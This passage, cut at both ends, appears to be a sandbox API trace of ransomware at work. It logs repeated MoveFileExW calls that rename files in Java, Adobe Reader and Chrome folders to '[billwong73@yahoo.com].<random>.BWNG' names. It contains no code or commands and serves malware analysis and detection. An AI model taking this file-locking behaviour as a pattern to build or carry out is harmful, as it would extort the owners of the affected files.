lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25884447337) returned 1 [0116.893] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Cordoba" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\cordoba"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].wrSg2sPN-qDX9nQEu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].wrsg2spn-qdx9nqeu.bwng"), dwFlags=0x1) returned 1 [0116.894] GetTickCount () returned 0x1164d94 [0116.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25884610388) returned 1 [0116.894] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Aruba" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\aruba"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].Bq0Uvwwk-v2HLV4se.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].bq0uvwwk-v2hlv4se.bwng"), dwFlags=0x1) returned 1 [0116.895] GetTickCount () returned 0x1164d94 [0116.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25884743673) returned 1 [0116.895] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bogota" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\bogota"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].Hje1PMnd-5bCu6I2t.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].hje1pmnd-5bcu6i2t.bwng"), dwFlags=0x1) returned 1 [0116.896] GetTickCount () returned 0x1164d94 [0116.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25884863959) returned 1 [0116.897] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Costa_Rica" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\costa_rica"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].CBv3t4Ua-TOCPXzTD.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].cbv3t4ua-tocpxztd.bwng"), dwFlags=0x1) returned 1 [0116.898] GetTickCount () returned 0x1164d94 [0116.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25885005803) returned 1 [0116.898] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP949.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp949.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].P4msnsTw-aBuHHNdJ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].p4msnstw-abuhhndj.bwng"), dwFlags=0x1) returned 1 [0117.145] GetTickCount () returned 0x1164e8e [0117.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25909726311) returned 1 [0117.146] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tashkent" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\tashkent"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].Z9lwr6HH-bkElLvzm.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].z9lwr6hh-bkellvzm.bwng"), dwFlags=0x1) returned 1 [0117.147] GetTickCount () returned 0x1164e8e [0117.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25909910775) returned 1 [0117.147] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Christmas" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\christmas"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\[billwong73@yahoo.com].7k65JGIP-vuq0mA9o.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\[billwong73@yahoo.com].7k65jgip-vuq0ma9o.bwng"), dwFlags=0x1) returned 1 [0117.148] GetTickCount () returned 0x1164e8e [0117.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25910056287) returned 1 [0117.149] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\mst"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].OXQU7Ilu-4LUxCbeT.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].oxqu7ilu-4luxcbet.bwng"), dwFlags=0x1) returned 1 [0117.384] GetTickCount () returned 0x1164f78 [0117.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25933649565) returned 1 [0117.386] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Fiji" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\fiji"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].BW2NvpwK-FkQm5ZeC.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].bw2nvpwk-fkqm5zec.bwng"), dwFlags=0x1) returned 1 [0117.394] GetTickCount () returned 0x1164f87 [0117.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25934669616) returned 1 [0117.395] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-tw.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].bcjehaHH-QNC5YiZz.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].bcjehahh-qnc5yizz.bwng"), dwFlags=0x1) returned 1 [0117.396] GetTickCount () returned 0x1164f87 [0117.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25934807631) returned 1 [0117.396] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].vxVF2xLr-TXrjtqGX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].vxvf2xlr-txrjtqgx.bwng"), dwFlags=0x1) returned 1 [0117.397] GetTickCount () returned 0x1164f87 [0117.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25934943794) returned 1 [0117.397] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Edmonton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\edmonton"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].gjEGr0rd-IIAGXwWy.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].gjegr0rd-iiagxwwy.bwng"), dwFlags=0x1) returned 1 [0117.399] GetTickCount () returned 0x1164f87 [0117.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25935090130) returned 1 [0117.399] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guatemala" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\guatemala"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].I1uIGuyd-eqIIRsmv.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].i1uiguyd-eqiirsmv.bwng"), dwFlags=0x1) returned 1 [0117.400] GetTickCount () returned 0x1164f87 [0117.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25935225239) returned 1 [0117.400] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yakutsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\yakutsk"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].D0j2CpfS-QFD6fIbe.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].d0j2cpfs-qfd6fibe.bwng"), dwFlags=0x1) returned 1 [0117.401] GetTickCount () returned 0x1164f87 [0117.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25935366595) returned 1 [0117.402] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.exe.sig"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\[billwong73@yahoo.com].44SSAbDE-abe3xcVw.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\[billwong73@yahoo.com].44ssabde-abe3xcvw.bwng"), dwFlags=0x1) returned 1 [0117.539] GetTickCount () returned 0x1165014 [0117.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25949155497) returned 1 [0117.540] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Adelaide" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\adelaide"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].59x4lygW-5dM3Q1fa.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].59x4lygw-5dm3q1fa.bwng"), dwFlags=0x1) returned 1 [0117.541] GetTickCount () returned 0x1165014 [0117.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25949320107) returned 1 [0117.541] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Perth" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\perth"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].xiuZOF94-rRuYaIce.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].xiuzof94-rruyaice.bwng"), dwFlags=0x1) returned 1 [0117.542] GetTickCount () returned 0x1165014 [0117.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25949469049) returned 1 [0117.543] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+11"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].W1tlX2Ru-nLipiYKp.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].w1tlx2ru-nlipiykp.bwng"), dwFlags=0x1) returned 1 [0117.544] GetTickCount () returned 0x1165014 [0117.544] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25949587022) returned 1 [0117.544] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Kwajalein" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\kwajalein"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].GrKRAhpx-qUPMuFOt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].grkrahpx-qupmufot.bwng"), dwFlags=0x1) returned 1 [0117.550] GetTickCount () returned 0x1165023 [0117.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25950249255) returned 1 [0117.550] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\ciexyz.pf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\[billwong73@yahoo.com].iXqK1j7H-YDzLx55d.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\[billwong73@yahoo.com].ixqk1j7h-ydzlx55d.bwng"), dwFlags=0x1) returned 1 [0117.552] GetTickCount () returned 0x1165023 [0117.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25950384060) returned 1 [0117.552] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].By5RYkkl-Zq53lPL4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].by5rykkl-zq53lpl4.bwng"), dwFlags=0x1) returned 1 [0117.553] GetTickCount () returned 0x1165023 [0117.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25950522714) returned 1 [0117.553] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Tell_City" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\tell_city"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\[billwong73@yahoo.com].jL8muv2Y-osYYhqtm.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\[billwong73@yahoo.com].jl8muv2y-osyyhqtm.bwng"), dwFlags=0x1) returned 1 [0117.554] GetTickCount () returned 0x1165023 [0117.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25950667590) returned 1 [0117.555] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\La_Paz" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\la_paz"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].SbC7Xqba-txTNsSUa.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].sbc7xqba-txtnssua.bwng"), dwFlags=0x1) returned 1 [0117.556] GetTickCount () returned 0x1165023 [0117.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25950801265) returned 1 [0117.558] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\uk.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].xVBO40JT-TGlLnCAR.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].xvbo40jt-tgllncar.bwng"), dwFlags=0x1) returned 1 [0117.559] GetTickCount () returned 0x1165023 [0117.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25951169619) returned 1 [0117.560] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\South_Georgia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\south_georgia"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\[billwong73@yahoo.com].auKJOJbU-w66M5Hvc.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\[billwong73@yahoo.com].aukjojbu-w66m5hvc.bwng"), dwFlags=0x1) returned 1 [0117.561] GetTickCount () returned 0x1165023 [0117.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25951304821) returned 1 [0117.561] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-1" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-1"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].Mo2oAtSX-qLE6UsFv.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].mo2oatsx-qle6usfv.bwng"), dwFlags=0x1) returned 1 [0117.649] GetTickCount () returned 0x1165081 [0117.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25960118461) returned 1 [0117.651] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-6" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-6"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].PtSD2rXd-XTwaReOa.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].ptsd2rxd-xtwareoa.bwng"), dwFlags=0x1) returned 1 [0117.653] GetTickCount () returned 0x1165081 [0117.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25960544803) returned 1 [0117.654] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pitcairn" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\pitcairn"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].f8ikUiLA-fWeOQwhs.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].f8ikuila-fweoqwhs.bwng"), dwFlags=0x1) returned 1 [0117.807] GetTickCount () returned 0x116511d [0117.807] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25975937677) returned 1 [0117.808] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\[billwong73@yahoo.com].tfH8I9cK-DqJXvlci.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\[billwong73@yahoo.com].tfh8i9ck-dqjxvlci.bwng"), dwFlags=0x1) returned 1 [0117.809] GetTickCount () returned 0x116511d [0117.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25976155981) returned 1 [0117.810] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Lindeman" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\lindeman"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].HzoZzWAM-vBeFPJ7q.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].hzozzwam-vbefpj7q.bwng"), dwFlags=0x1) returned 1 [0117.811] GetTickCount () returned 0x116511d [0117.811] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25976321559) returned 1 [0117.811] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].594O8OVw-94C0JPLY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].594o8ovw-94c0jply.bwng"), dwFlags=0x1) returned 1 [0117.812] GetTickCount () returned 0x116512d [0117.812] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25976469009) returned 1 [0117.813] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Merida" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\merida"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].YhSpCXPD-fLcCeI9D.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].yhspcxpd-flccei9d.bwng"), dwFlags=0x1) returned 1 [0117.814] GetTickCount () returned 0x116512d [0117.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25976609502) returned 1 [0117.814] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogo.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\[billwong73@yahoo.com].HslnMBJR-zpMxxGj5.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\[billwong73@yahoo.com].hslnmbjr-zpmxxgj5.bwng"), dwFlags=0x1) returned 1 [0117.815] GetTickCount () returned 0x116512d [0117.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25976732583) returned 1 [0117.815] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_de.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].yVTf5RYG-lyvTqhDj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].yvtf5ryg-lyvtqhdj.bwng"), dwFlags=0x1) returned 1 [0117.816] GetTickCount () returned 0x116512d [0117.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25977078147) returned 1 [0117.819] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Berlin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\berlin"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].450M5VOS-fKCEDhKB.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].450m5vos-fkcedhkb.bwng"), dwFlags=0x1) returned 1 [0117.820] GetTickCount () returned 0x116512d [0117.820] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25977199084) returned 1 [0117.820] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\PST8PDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pst8pdt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].iNQJo35V-0xOZUYkY.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].inqjo35v-0xozuyky.bwng"), dwFlags=0x1) returned 1 [0117.821] GetTickCount () returned 0x116512d [0117.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25977328279) returned 1 [0117.821] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].UfyeyWGb-l29ZqCPs.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].ufyeywgb-l29zqcps.bwng"), dwFlags=0x1) returned 1 [0117.823] GetTickCount () returned 0x116512d [0117.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25977532273) returned 1 [0117.823] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+7" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+7"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].er3KcV8F-up1fam4l.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].er3kcv8f-up1fam4l.bwng"), dwFlags=0x1) returned 1 [0117.824] GetTickCount () returned 0x116512d [0117.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25977676372) returned 1 [0117.825] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-3" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-3"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].DmuuiNwO-fkli6UqU.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].dmuuinwo-fkli6uqu.bwng"), dwFlags=0x1) returned 1 [0117.826] GetTickCount () returned 0x116512d [0117.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25977825380) returned 1 [0117.826] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Flash.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 